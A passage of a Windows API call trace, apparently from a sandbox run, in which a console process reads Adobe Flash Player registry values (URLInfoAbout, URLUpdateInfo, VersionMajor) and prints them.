dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.764] GetConsoleOutputCP () returned 0x1b5 [0146.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.765] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.765] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.765] __iob_func () returned 0x7fefd702a80 [0146.765] _fileno (_File=0x7fefd702ab0) returned 1 [0146.765] _errno () returned 0xc4bb0 [0146.765] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.765] _errno () returned 0xc4bb0 [0146.765] GetFileType (hFile=0x50) returned 0x1 [0146.765] lstrlenW (lpString=" ") returned 4 [0146.765] GetConsoleOutputCP () returned 0x1b5 [0146.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.765] GetConsoleOutputCP () returned 0x1b5 [0146.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.765] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.765] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.765] __iob_func () returned 0x7fefd702a80 [0146.765] _fileno (_File=0x7fefd702ab0) returned 1 [0146.765] _errno () returned 0xc4bb0 [0146.765] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.765] _errno () returned 0xc4bb0 [0146.765] GetFileType (hFile=0x50) returned 0x1 [0146.765] lstrlenW (lpString="4.70.0.1155") returned 11 [0146.765] GetConsoleOutputCP () returned 0x1b5 [0146.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="4.70.0.1155", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0146.766] GetConsoleOutputCP () returned 0x1b5 [0146.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="4.70.0.1155", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4.70.0.1155", lpUsedDefaultChar=0x0) returned 11 [0146.766] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0146.766] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.766] __iob_func () returned 0x7fefd702a80 [0146.766] _fileno (_File=0x7fefd702ab0) returned 1 [0146.766] _errno () returned 0xc4bb0 [0146.766] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.766] _errno () returned 0xc4bb0 [0146.766] GetFileType (hFile=0x50) returned 0x1 [0146.766] lstrlenW (lpString="\n") returned 1 [0146.766] GetConsoleOutputCP () returned 0x1b5 [0146.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.766] GetConsoleOutputCP () returned 0x1b5 [0146.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.766] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.766] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.766] GetProcessHeap () returned 0x2e0000 [0146.766] GetProcessHeap () returned 0x2e0000 [0146.766] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0146.766] GetProcessHeap () returned 0x2e0000 [0146.767] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x1c [0146.767] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0146.767] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.767] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2c) returned 0x0 [0146.767] GetProcessHeap () returned 0x2e0000 [0146.767] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2e) returned 0x2f7890 [0146.767] GetProcessHeap () returned 0x2e0000 [0146.767] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0146.767] GetProcessHeap () returned 0x2e0000 [0146.767] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x2e [0146.767] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2c | out: pdwType=0x23f5f0*=0x1, pvData="http://www.adobe.com", pcbData=0x23f670*=0x2a) returned 0x0 [0146.767] __iob_func () returned 0x7fefd702a80 [0146.767] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.767] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.767] _fileno (_File=0x7fefd702ab0) returned 1 [0146.767] _errno () returned 0xc4bb0 [0146.767] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.767] _errno () returned 0xc4bb0 [0146.767] GetFileType (hFile=0x50) returned 0x1 [0146.767] lstrlenW (lpString=" ") returned 4 [0146.767] GetConsoleOutputCP () returned 0x1b5 [0146.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.767] GetConsoleOutputCP () returned 0x1b5 [0146.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.767] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.767] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.768] lstrlenW (lpString="URLInfoAbout") returned 12 [0146.768] __iob_func () returned 0x7fefd702a80 [0146.768] _fileno (_File=0x7fefd702ab0) returned 1 [0146.768] _errno () returned 0xc4bb0 [0146.768] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.768] _errno () returned 0xc4bb0 [0146.768] GetFileType (hFile=0x50) returned 0x1 [0146.768] lstrlenW (lpString="URLInfoAbout") returned 12 [0146.768] GetConsoleOutputCP () returned 0x1b5 [0146.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0146.768] GetConsoleOutputCP () returned 0x1b5 [0146.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0146.768] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0146.768] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.768] __iob_func () returned 0x7fefd702a80 [0146.768] _fileno (_File=0x7fefd702ab0) returned 1 [0146.768] _errno () returned 0xc4bb0 [0146.768] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.768] _errno () returned 0xc4bb0 [0146.768] GetFileType (hFile=0x50) returned 0x1 [0146.768] lstrlenW (lpString=" ") returned 4 [0146.768] GetConsoleOutputCP () returned 0x1b5 [0146.768] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.768] GetConsoleOutputCP () returned 0x1b5 [0146.769] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.769] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.769] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.769] __iob_func () returned 0x7fefd702a80 [0146.769] _fileno (_File=0x7fefd702ab0) returned 1 [0146.769] _errno () returned 0xc4bb0 [0146.769] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.769] _errno () returned 0xc4bb0 [0146.769] GetFileType (hFile=0x50) returned 0x1 [0146.769] lstrlenW (lpString="REG_SZ") returned 6 [0146.769] GetConsoleOutputCP () returned 0x1b5 [0146.769] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.769] GetConsoleOutputCP () returned 0x1b5 [0146.769] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.769] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.769] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.769] __iob_func () returned 0x7fefd702a80 [0146.769] _fileno (_File=0x7fefd702ab0) returned 1 [0146.769] _errno () returned 0xc4bb0 [0146.769] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.769] _errno () returned 0xc4bb0 [0146.769] GetFileType (hFile=0x50) returned 0x1 [0146.769] lstrlenW (lpString=" ") returned 4 [0146.769] GetConsoleOutputCP () returned 0x1b5 [0146.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.770] GetConsoleOutputCP () returned 0x1b5 [0146.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.770] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.770] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.770] __iob_func () returned 0x7fefd702a80 [0146.770] _fileno (_File=0x7fefd702ab0) returned 1 [0146.770] _errno () returned 0xc4bb0 [0146.770] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.770] _errno () returned 0xc4bb0 [0146.770] GetFileType (hFile=0x50) returned 0x1 [0146.770] lstrlenW (lpString="http://www.adobe.com") returned 20 [0146.770] GetConsoleOutputCP () returned 0x1b5 [0146.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0146.770] GetConsoleOutputCP () returned 0x1b5 [0146.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com", cchWideChar=20, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://www.adobe.com", lpUsedDefaultChar=0x0) returned 20 [0146.770] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 20 [0146.770] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.770] __iob_func () returned 0x7fefd702a80 [0146.770] _fileno (_File=0x7fefd702ab0) returned 1 [0146.770] _errno () returned 0xc4bb0 [0146.770] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.770] _errno () returned 0xc4bb0 [0146.771] GetFileType (hFile=0x50) returned 0x1 [0146.771] lstrlenW (lpString="\n") returned 1 [0146.771] GetConsoleOutputCP () returned 0x1b5 [0146.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.771] GetConsoleOutputCP () returned 0x1b5 [0146.771] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.771] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.771] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.771] GetProcessHeap () returned 0x2e0000 [0146.771] GetProcessHeap () returned 0x2e0000 [0146.771] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0146.771] GetProcessHeap () returned 0x2e0000 [0146.771] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x2e [0146.771] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0146.771] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLUpdateInfo", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.771] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x52) returned 0x0 [0146.771] GetProcessHeap () returned 0x2e0000 [0146.771] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x54) returned 0x2fb7d0 [0146.771] GetProcessHeap () returned 0x2e0000 [0146.771] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.771] GetProcessHeap () returned 0x2e0000 [0146.771] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x54 [0146.771] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLUpdateInfo", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x52 | out: pdwType=0x23f5f0*=0x1, pvData="http://www.adobe.com/go/getflashplayer/", pcbData=0x23f670*=0x50) returned 0x0 [0146.771] __iob_func () returned 0x7fefd702a80 [0146.771] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.771] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.771] _fileno (_File=0x7fefd702ab0) returned 1 [0146.772] _errno () returned 0xc4bb0 [0146.772] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.772] _errno () returned 0xc4bb0 [0146.772] GetFileType (hFile=0x50) returned 0x1 [0146.772] lstrlenW (lpString=" ") returned 4 [0146.772] GetConsoleOutputCP () returned 0x1b5 [0146.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.772] GetConsoleOutputCP () returned 0x1b5 [0146.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.772] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.772] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.772] lstrlenW (lpString="URLUpdateInfo") returned 13 [0146.772] __iob_func () returned 0x7fefd702a80 [0146.772] _fileno (_File=0x7fefd702ab0) returned 1 [0146.772] _errno () returned 0xc4bb0 [0146.772] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.772] _errno () returned 0xc4bb0 [0146.772] GetFileType (hFile=0x50) returned 0x1 [0146.772] lstrlenW (lpString="URLUpdateInfo") returned 13 [0146.772] GetConsoleOutputCP () returned 0x1b5 [0146.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0146.772] GetConsoleOutputCP () returned 0x1b5 [0146.773] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLUpdateInfo", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLUpdateInfo", lpUsedDefaultChar=0x0) returned 13 [0146.773] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0146.773] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.773] __iob_func () returned 0x7fefd702a80 [0146.773] _fileno (_File=0x7fefd702ab0) returned 1 [0146.773] _errno () returned 0xc4bb0 [0146.773] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.773] _errno () returned 0xc4bb0 [0146.773] GetFileType (hFile=0x50) returned 0x1 [0146.773] lstrlenW (lpString=" ") returned 4 [0146.773] GetConsoleOutputCP () returned 0x1b5 [0146.773] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.773] GetConsoleOutputCP () returned 0x1b5 [0146.773] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.773] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.773] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.773] __iob_func () returned 0x7fefd702a80 [0146.773] _fileno (_File=0x7fefd702ab0) returned 1 [0146.773] _errno () returned 0xc4bb0 [0146.773] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.773] _errno () returned 0xc4bb0 [0146.773] GetFileType (hFile=0x50) returned 0x1 [0146.773] lstrlenW (lpString="REG_SZ") returned 6 [0146.773] GetConsoleOutputCP () returned 0x1b5 [0146.774] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.774] GetConsoleOutputCP () returned 0x1b5 [0146.774] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.774] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.774] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.774] __iob_func () returned 0x7fefd702a80 [0146.774] _fileno (_File=0x7fefd702ab0) returned 1 [0146.774] _errno () returned 0xc4bb0 [0146.774] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.774] _errno () returned 0xc4bb0 [0146.774] GetFileType (hFile=0x50) returned 0x1 [0146.774] lstrlenW (lpString=" ") returned 4 [0146.774] GetConsoleOutputCP () returned 0x1b5 [0146.774] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.774] GetConsoleOutputCP () returned 0x1b5 [0146.774] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.774] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.774] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.774] __iob_func () returned 0x7fefd702a80 [0146.774] _fileno (_File=0x7fefd702ab0) returned 1 [0146.774] _errno () returned 0xc4bb0 [0146.774] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.775] _errno () returned 0xc4bb0 [0146.775] GetFileType (hFile=0x50) returned 0x1 [0146.775] lstrlenW (lpString="http://www.adobe.com/go/getflashplayer/") returned 39 [0146.775] GetConsoleOutputCP () returned 0x1b5 [0146.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com/go/getflashplayer/", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0146.775] GetConsoleOutputCP () returned 0x1b5 [0146.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com/go/getflashplayer/", cchWideChar=39, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://www.adobe.com/go/getflashplayer/", lpUsedDefaultChar=0x0) returned 39 [0146.775] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 39 [0146.775] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.775] __iob_func () returned 0x7fefd702a80 [0146.775] _fileno (_File=0x7fefd702ab0) returned 1 [0146.775] _errno () returned 0xc4bb0 [0146.775] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.775] _errno () returned 0xc4bb0 [0146.775] GetFileType (hFile=0x50) returned 0x1 [0146.775] lstrlenW (lpString="\n") returned 1 [0146.775] GetConsoleOutputCP () returned 0x1b5 [0146.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.775] GetConsoleOutputCP () returned 0x1b5 [0146.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.775] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.775] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.776] GetProcessHeap () returned 0x2e0000 [0146.776] GetProcessHeap () returned 0x2e0000 [0146.776] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.776] GetProcessHeap () returned 0x2e0000 [0146.776] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x54 [0146.776] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.776] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMajor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.776] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.776] GetProcessHeap () returned 0x2e0000 [0146.776] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fb7d0 [0146.776] GetProcessHeap () returned 0x2e0000 [0146.776] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.776] GetProcessHeap () returned 0x2e0000 [0146.776] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x6 [0146.776] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMajor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fb7d0*=0xb, pcbData=0x23f670*=0x4) returned 0x0 [0146.776] __iob_func () returned 0x7fefd702a80 [0146.776] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.776] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, 